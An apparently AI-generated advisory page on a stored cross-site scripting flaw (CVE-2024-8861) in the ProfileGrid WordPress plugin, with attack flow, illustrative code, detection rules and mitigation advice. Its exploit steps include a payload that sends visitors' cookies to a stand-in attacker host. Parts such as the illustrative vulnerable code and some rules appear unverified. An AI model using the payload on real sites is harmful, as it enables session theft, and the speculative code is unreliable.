CVE-2024-8861
Executive Summary
CVE-2024-8861 is a Stored Cross-Site Scripting (XSS) vulnerability in the ProfileGrid – User Profiles, Groups and Communities WordPress plugin, affecting all versions up to and including 5.9.3.2. The flaw arises from an incorrect use of the wp_kses_allowed_html function, which permits the onclick attribute for certain HTML elements without adequate restriction or context validation. This allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into pages. When a user accesses an injected page, the malicious script executes in their browser, potentially leading to session hijacking, data theft, or further compromise.
This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used community plugin, and the attack surface is broadened by the low privileges required (Contributor). The EPSS score is currently 0.0%, indicating low exploitation likelihood at this time, but the lack of a confirmed patch makes proactive detection and mitigation critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – Attacker needs Contributor-level access or higher.
- User Interaction: None (UI:N) – No user action is needed for the script to execute.
- Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited modification of data possible.
- Availability Impact: None (A:N) – No direct denial of service.
Threat Level: Medium. While the CVSS score is moderate, the potential for widespread impact in WordPress community sites and the lack of a patch elevate the risk for unpatched installations.
Deep Dive & Mechanics
The vulnerability resides in the ProfileGrid plugin's handling of user-generated content, specifically in how it sanitizes HTML input. WordPress provides the wp_kses_allowed_html function to define allowed HTML tags and attributes. In this plugin, the function is incorrectly configured to allow the onclick attribute for certain HTML elements (e.g., <div>, <span>, <a>) without proper context validation. This means an attacker can inject JavaScript event handlers like onclick that execute when a user interacts with the element.
Attack Flow:
- An authenticated user with Contributor-level access (or higher) creates or edits a post, page, or custom post type that uses ProfileGrid shortcodes or blocks.
- The attacker inserts a malicious payload, such as
<div onclick="alert('XSS')">Click me</div>. - The plugin's sanitization function incorrectly allows the
onclickattribute because it is not explicitly blocked or contextually validated. - When any user (including administrators) views the page and clicks the element, the JavaScript executes in their browser context.
- The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: The wp_kses_allowed_html filter is applied globally or per context, but the plugin fails to restrict dangerous event handler attributes. The onclick attribute is not part of the default allowed attributes for most HTML elements, but the plugin's custom filter adds it without proper validation.
Vulnerable vs. Patched Code
Vulnerable Code (ProfileGrid <= 5.9.3.2):
// In a sanitization function within the plugin
add_filter('wp_kses_allowed_html', 'profilegrid_allowed_html', 10, 2);
function profilegrid_allowed_html($allowed, $context) {
// Incorrectly allows onclick for div, span, a, etc.
$allowed['div']['onclick'] = true;
$allowed['span']['onclick'] = true;
$allowed['a']['onclick'] = true;
// ... other elements
return $allowed;
}
Patched Code (Hypothetical fix):
// Remove or restrict onclick attribute
add_filter('wp_kses_allowed_html', 'profilegrid_allowed_html_fixed', 10, 2);
function profilegrid_allowed_html_fixed($allowed, $context) {
// Do not allow onclick for any element
unset($allowed['div']['onclick']);
unset($allowed['span']['onclick']);
unset($allowed['a']['onclick']);
// Alternatively, use wp_kses_post() for stricter sanitization
return $allowed;
}
Note: Since no official patch is available, the above is a recommended fix. Administrators should also consider using a Web Application Firewall (WAF) to block onclick attributes in user content.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with ProfileGrid plugin version <= 5.9.3.2.
- An authenticated user account with Contributor-level access or higher.
Exploit Steps:
- Log in as a Contributor.
- Create a new post or page.
- Insert a ProfileGrid shortcode or block (e.g.,
[profilegrid]). - In the content, add a malicious HTML element with an
onclickattribute:<div onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)">Click me for a surprise!</div> - Publish the post.
- When an administrator or other user views the post and clicks the element, their cookies are exfiltrated to the attacker's server.
Proof of Concept (PoC) Payload:
<div onclick="alert('XSS')">Click me</div>
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts/pages containing
onclickattributes in HTML content. - Use WAF rules to block
onclickin user-submitted content. - Review server logs for unusual outbound connections from WordPress instances.
Prevention:
- Apply the hypothetical patch above.
- Restrict Contributor-level access to trusted users only.
- Use a security plugin (e.g., Wordfence) to block XSS attempts.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Suspicious
onclickattributes in WordPress post/page content.
- File IOCs:
- Modified plugin files (e.g.,
profilegrid.php) with addedonclickallowances.
- Modified plugin files (e.g.,
- Log IOCs:
- WordPress audit logs showing creation of posts with unusual HTML attributes.
- Web server logs with
onclickin POST data.
Detection Engineering
YARA Rule
rule CVE_2024_8861_ProfileGrid_XSS {
meta:
description = "Detects stored XSS payloads targeting ProfileGrid plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8861"
strings:
$onclick = /onclick\s*=\s*["'][^"']*["']/ nocase
$profilegrid = "profilegrid" nocase
condition:
$onclick and $profilegrid
}
Sigma Rule
title: CVE-2024-8861 ProfileGrid Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in ProfileGrid plugin via onclick attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/post.php'
cs-uri-query|contains: 'onclick'
condition: selection
falsepositives:
- Legitimate use of onclick in admin content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8861 ProfileGrid Stored XSS Payload"; flow:to_server,established; content:"onclick"; http_client_body; nocase; content:"profilegrid"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the ProfileGrid plugin until a patch is available.
- Restrict Contributor-level access to only trusted users.
- Apply a WAF rule to block
onclickattributes in POST data. - Implement CSP headers to prevent inline script execution.
Long-term Fix:
- Monitor the ProfileGrid plugin page for an official patch.
- Apply the hypothetical patch (remove
onclickfrom allowed attributes). - Consider migrating to an alternative community plugin if no patch is released.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.